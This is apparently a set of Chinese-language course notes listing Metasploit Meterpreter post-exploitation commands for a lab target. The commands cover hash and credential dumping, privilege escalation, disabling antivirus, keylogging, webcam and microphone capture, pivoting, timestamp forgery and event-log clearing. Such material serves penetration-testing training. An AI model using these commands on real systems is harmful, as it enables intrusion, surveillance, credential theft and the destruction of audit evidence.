Post后渗透模块
：
在meterpreter > 中我们可以使用以下的命令来实现对目标的操作。
一、基本系统命令
sessions # sessions –h 查看帮助
sessions -i <ID值> # 进入会话 -k 杀死会话
background # 将当前会话放置后台
info # 查看已有模块信息
getuid # 查看获取的当前权限
getsystem # 提权
getpid # 获取当前进程的pid
sysinfo # 查看目标机系统信息
ps # 查看当前活跃进程 kill <PID值> 杀死进程
idletime # 查看目标机运行时间
hashdump # 从SAM数据库导出密码的哈希
reboot / shutdown # 重启/关机
shell # 进入目标机cmd shell
load kiwi # 加载wiki模块
run # 使用扩展库，执行已有的模块，输入run后按两下tab，列出已有的脚本
run killav # 关闭杀毒软件
run scraper # 查看目标主机详细信息
二、execute执行文件
execute 参数 -f 可执行文件 # 执行可执行程序
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互
三、目录/文件操作
pwd / getwd # 目标机器上当前目录(windows)
cd # 目标机器上切换目录
ls # 目标机器上显示
dir # 目标机器上查看
mkdir dir1 dir2
mv oldfile newfile
rmdir dir1
getlwd / lpwd # 查看攻击机当前目录(Linux)
lls # 在攻击机显示
lcd # 在攻击机上切换目录
cat C:\\Users\\zq\\Desktop\\123.txt # 目标机器上读取内容
edit C:\\Users\\zq\\Desktop\\123.txt # 篡改目标机器上的文件
search -f *.jsp -d e:\ # 搜索E盘中所有以.jsp为后缀的文件
upload msfdb /root/Desktop/Kage.0.1.1-beta_linux.AppImage C:\\Users\\zq\\Desktop # 将两个文件传到目标机的桌面
download C:\\Users\\zq\\Desktop\\123.txt /root # 将目标机的e:\test.txt文件下载到/root目录下
四、timestomp伪造时间戳
timestomp C:// -h # 查看帮助
timestomp -v C://2.txt # 查看时间戳
timestomp C://2.txt -f C://1.txt # 将1.txt的时间戳复制给2.txt
五、进程
ps # 查看目标主机活跃进程信息
getpid # 查看当前Meterpreter Shell的进程
migrate 1732 # 将当前Meterpreter Shell的进程迁移到PID为1732的进程上，这样不容器被发现
kill <pid值> # 杀死进程
六、网络
arp # 显示目标机器arp缓存
getproxy # 显示目标机器的代理
ifconfig
netstat -ano
route
portfwd # 端口重定向
portfwd add -l 3389 -p 3389 -r 172.16.0.100 # 将目标机的3389端口转发到本地3389端口
然后使用rdesktop ip远程登录：
七、autoroute添加路由
run autoroute –h # 查看帮助
run autoroute -s 192.168.159.0/24 # 添加到目标环境网络
run autoroute –p # 查看添加的路由
然后可以利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
八、uictl开关键盘/鼠标
uictl [enable/disable] [keyboard/mouse/all] # 开启或禁止键盘/鼠标
uictl disable mouse # 禁用鼠标
uictl disable keyboard # 禁用键盘
九、用户接口命令（键盘嗅探，鼠标、屏幕、音频、摄像头）
4-18 Meterpreter用户接口命令1_哔哩哔哩_bilibili
4-19 Meterpreter用户接口命令2_哔哩哔哩_bilibili
4-20 Meterpreter用户接口命令3_哔哩哔哩_bilibili
keyscan_start # 开启键盘记录功能
在靶机上用键盘输入内容
keyscan_dump # 显示捕捉到的键盘记录信息
keyscan_stop # 停止键盘记录功能
鼠标：
screenshare # 屏幕共享
保存在/usr/share/metasploit-framework/uDRIzzpV.html，可以直接浏览器打开。
screenshot # 截图
record_mic # 音频
play # 播放音频
webcam_list # 查看目标主机的摄像头
webcam_snap # 目标主机摄像头拍照
webcam_stream # 目标主机通过摄像头开视频
webcam_chat -h # 开始与目标进行视频对话。
十、clearav清除日志
clearev # 清除windows中的应用程序日志、系统日志、安全日志
十一、信息搜集脚本
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/linux/gather/checkvm # 是否虚拟机
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
